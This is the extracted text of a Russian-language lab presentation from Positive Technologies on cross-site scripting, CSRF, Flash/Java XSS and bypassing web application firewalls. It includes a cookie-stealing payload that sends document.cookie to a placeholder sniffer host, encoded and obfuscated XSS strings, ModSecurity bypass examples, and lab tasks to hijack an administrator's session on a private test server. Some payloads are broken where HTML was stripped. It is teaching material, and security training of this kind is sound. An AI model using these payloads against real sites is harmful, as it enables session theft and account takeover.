Лабораторная работа по теме Межсайтовое выполнение сценариев презентация

Содержание

План лабораторной работы Введение в тему безопасности Web-приложений Уязвимость типа «Межсайтовое выполнение сценариев» Межсайтовое выполнение сценариев в Java/Flash-приложениях Обход фильтров безопасности и Web Application Firewall (WAF) Резюме

Слайд 1Лабораторная работа по теме «Межсайтовое выполнение сценариев»
Дмитрий Евтеев
Positive Technologies


Слайд 2План лабораторной работы
Введение в тему безопасности Web-приложений
Уязвимость типа «Межсайтовое выполнение

сценариев»
Межсайтовое выполнение сценариев в Java/Flash-приложениях
Обход фильтров безопасности и Web Application Firewall (WAF)
Резюме

Слайд 3Введение в тему безопасности Web-приложений…


Слайд 4Опасный мир Web-приложений
По данным компании Positive Technologies за 2009 год
79% сайтов

содержат критические уязвимости
58% сайтов содержат уязвимости средней степени риска
54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента
http://ptsecurity.ru/analytics.asp

Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».


Слайд 5Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год)
http://ptsecurity.ru/analytics.asp


Слайд 6Классификация уязвимостей в web-приложениях
Web Application Security Consortium WASC-TCv2 / OWASP Top

10


CWE/SANS Top 25 Most Dangerous Programming Errors 2010
Threat Classification References Mapping Proposal
http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal

http://projects.webappsec.org/Threat-Classification http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf


Слайд 7 Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»
Опасный

мир Web-приложений: статистика за 2009 г.




Слайд 8Часть 1: Межсайтовое выполнение сценариев

Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting,

XSS)


















Слайд 9Cross-Site Scripting – Базовые знания
"Межсайтовое выполнение сценариев"
Уязвимость Cross-Site Scripting (XSS) связана

с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.


Слайд 10"Межсайтовое выполнение сценариев" может использоваться для:
Подмены содержимого сайта (content spoofing, fishing)
Получения

доступа к данным в контексте уязвимого сайта (например, к содержимому document.cookie)
Проведения атак на компоненты среды клиента (браузер, ActiveX, Adobe, etc.)
Распространения вредоносного кода (ajax-worms)



Cross-Site Scripting – Базовые знания


Слайд 11Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»
Web-сервер
http://web/?search=WhatIsWebSecurity
...

name="q“ value="What Is Web Security">


...

Слайд 12Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»
Web-сервер
http://web/?search=">alert('XSS')
...

name="q“ value="">">


...

Слайд 13Cross-Site Scripting – Базовые знания
Условно Cross-Site Scripting (XSS) делят на следующие

типы:
Сохраненный вариант (persistent/stored)
Отраженный вариант (non-persistent/reflected)
Cross-Site Scripting обычно можно встретить:
В HTML-теге
В теле JavaScript/VBScript/etc (eq DOM-based)
В коде-HTML
В параметре тега-HTML
В Java/Flash приложениях
В ActiveX

Cross-Site Scripting – это уязвимость на стороне клиента (client side)
Microsoft Internet Explorer 8 XSS filter
Mozilla NoScript Firefox extension

Слайд 14Cross-Site Scripting – Классическая эксплуатация
Возможный метод обнаружения уязвимости /?id=">alert(1)
HTML-код возвращаемой страницы примет

вид
В параметре тега …"…
В тексте …

">


В результате браузер выполнит JavaScript-код




Пример практического использования:
">


Слайд 15Cross-Site Scripting – Классическая эксплуатация
Пример (1) – по событию
Уязвимый HTML-код:



Эксплуатация:
/?filename="onerror=alert('XSS');"
/?filename="onerror=javascript:alert('XSS');"

HTML-код

возвращаемой страницы примет вид:



Пример практического использования:
/?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(document.cookie);"

Слайд 16Cross-Site Scripting – Различия браузеров










http://projects.webappsec.org/Script-Mapping


Слайд 17Cross-Site Scripting – Классическая эксплуатация
Пример (2) – DOM-based
Уязвимый код:
...

document.write(""+document.location.href.substring (document.location.href.indexOf("default=")+8)+"");
document.write("

value=2>English");

...
Штатная работа сценария:
/?default=Russia
/?default=French


Эксплуатация:
/?default=

Слайд 18Cross-Site Scripting – Безопасность Cookie


Атрибуты Cookie

Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][;

secure][; HTTPOnly]



Слайд 19Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев»
Web-сервер
1. fuzzing,

поиск
уязвимости

2. Передача «заряженной» ссылки: http://web/?search=">

3. Переход по ссылке

4. Выполнение исполняемого кода в браузере пользователя


5. Например, передача
Web-сессии (cookies)


6. Работа с Web-приложением от
имени атакованного пользователя


Слайд 20Практическое занятие (1)
http://192.168.0.51:80/

Найти уязвимость типа «Межсайтовое выполнение сценариев».
Создать сниффер для записи

полезных данных.





Осуществить перехват сессии администратора приложения.
Авторизоваться под учетной записью администратора приложения.


Слайд 21Часть 2: Межсайтовое выполнение сценариев в Java/Flash

Межсайтовое выполнение сценариев в Java/Flash-приложениях

















Слайд 22XSS && CSRF – Базовые знания
Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request

Forgery, CSRF, XSRF)
Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)
В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях
Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением
Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению
Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)
Зачастую применяется связка XSS + CSRF

Слайд 23Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов»
Интернет-форум
1. Публикация сообщения:

Интернет-банк (ibanking)
2.

Пользователь посещает форум

3. Браузер загружает картинку по адресу:
http://ibanking/action?...



4. Если сессия пользователя существует, то…


Слайд 24




document.domain = "example.com"; (!)
Методы обхода - Anti DNS Pinning, уязвимости реализации
Ограничения

политики доступа (Same origin policy)




Слайд 25Для безопасности используются изолированные зоны безопасности (Sandbox security model)

Легальный способ расширения

зоны безопасности – это использование файла «crossdomain.xml»



Или вызов соответствующей функции
System.security.loadPolicyFile ("http://site/crossdomain.xml");

Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 26Потенциально небезопасные функции ActionScript:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load()
LoadVars.send()


LoadVars.sendAndLoad()
MovieClip.getURL()
MovieClip.loadMovie()
NetConnection.connect()
NetServices.createGatewayConnection()
NetSteam.play()
Sound.loadSound()
XML.load()
XML.send()
XML.sendAndLoad()

Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 27Пример уязвимого кода на языке JAVA
Cross-Site Scripting (Java/Flash) – Базовые знания


Слайд 28Практическое занятие (2)
http://192.168.0.51:81/

Найти уязвимость типа «Межсайтовое выполнение сценариев».
Воспользоваться AJAX-сценарием http://192.168.0.51:8085/act.js





для автоматизированной эксплуатации уязвимости «Межсайтовое выполнение сценариев».
Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с автоматическим созданием нового пользователя в тестовом приложении.
Авторизоваться под учетной записью созданного пользователя.

Слайд 29Часть 3: Обход фильтров безопасности и WAF

Обход фильтров безопасности и WAF


















Слайд 30Что такое WAF
http://server/?id=6329&print=Y
Нас атакуют! Ахтунг!!!
WAF
Webserver
http://server/?id=5351
http://server/?id=8234
http://server/?id=">...
http://server/?id=1+union+select...
http://server/?id=/../../../etc/passwd
Нормализация данных
Decode HTML entities (e.g. c, ",

ª)
Escaped characters (e.g. \t, \001, \xAA, \uAABB)
Null byte string termination
...
Поиск сигнатуры
/(sel)(ect.+fr)(om)/is
/(uni)(on.+sel)(ect)/is
...

Слайд 31Какие они бывают
По режиму работы:
Мост/Маршрутизатор
Обратный прокси-сервер
Встроенный
По модели защиты:
Основанный на сигнатуре (Signature-based)
Основанный

на правилах (Rule-based)
По реакции на «плохой» запрос:
Очистка «опасных» данных
Блокировка запроса
Блокировка источника атаки

Слайд 32Методы обхода WAF
Фундаментальные ограничения технологии
Неспособность полностью защитить Web-приложение от всех возможных

уязвимостей
Общие проблемы
Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика
Обработка возвращаемого трафика клиенту
Уязвимости реализации
Технологии нормализации запроса
Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)


Слайд 33Общие проблемы

Сохраненный вариант XSS
В случае если удалось «протащить» XSS через фильтр,

WAF не сможет воспрепятствовать реализации атаки

Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)
Пример:
Эксплуатация: /?xss=500); alert(document.cookie);//

DOM-based XSS
Пример:
Эксплуатация: /?xss=document.cookie
Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting


Слайд 34Методы обхода WAF: Возможные способы кодирования JavaScript
Пример: alert(1)
Hex-кодирование (URL-представление)
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E
HTML-кодирование
<script>alert(1)</script>
<script>alert(1)</script>
UTF7
+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
… UTF8, base64,

escape-encoding (style), etc

Слайд 35Методы обхода WAF: Возможные способы кодирования JavaScript

Пример с BlackHat USA09:


($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)


BlackHat USA09

Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;


Слайд 36Методы обхода WAF: Возможные способы кодирования JavaScript










http://utf-8.jp/public/jjencode.html


Слайд 37Практика обхода WAF: Cross-Site Scripting

Обход правил фильтрации на примере ModSecurity:
1;alert/*skip*/('XSS');

onerror="eval(src%2b'(0)')">
";document.write('');"
...
BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf



Слайд 38Практическое занятие (3)
http://192.168.0.51:82/

Найти уязвимость типа «Межсайтовое выполнение сценариев».
Воспользоваться техникой обхода WAF.




Осуществить

перехват сессии администратора приложения.
Восстановить используемый пароль администратора приложения по перехваченному хеш-значению md5 используемого пароля.
Авторизоваться под учетной записью администратора приложения.


Слайд 39Резюме лабораторной работы



















Слайд 40Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах
Cross-Site

Scripting в «живой природе»

Слайд 41Резюме
Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений
Пути устранения

уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны
Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде
Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)


Слайд 42Дополнительные материалы и ссылки
Web Application Security Consortium (WASC)
http://projects.webappsec.org/Cross-Site+Scripting
http://projects.webappsec.org/Script-Mapping
Open Web Application Security

Project (OWASP)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
ha.ckers XSS (Cross Site Scripting) Cheat Sheet
http://ha.ckers.org/xss.html
Jjencode
http://utf-8.jp/public/jjencode.html


Слайд 43Спасибо за внимание! devteev@ptsecurity.ru http://devteev.blogspot.com/ http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/


Обратная связь

Если не удалось найти и скачать презентацию, Вы можете заказать его на нашем сайте. Мы постараемся найти нужный Вам материал и отправим по электронной почте. Не стесняйтесь обращаться к нам, если у вас возникли вопросы или пожелания:

Email: Нажмите что бы посмотреть 

Что такое ThePresentation.ru?

Это сайт презентаций, докладов, проектов, шаблонов в формате PowerPoint. Мы помогаем школьникам, студентам, учителям, преподавателям хранить и обмениваться учебными материалами с другими пользователями.


Для правообладателей

Яндекс.Метрика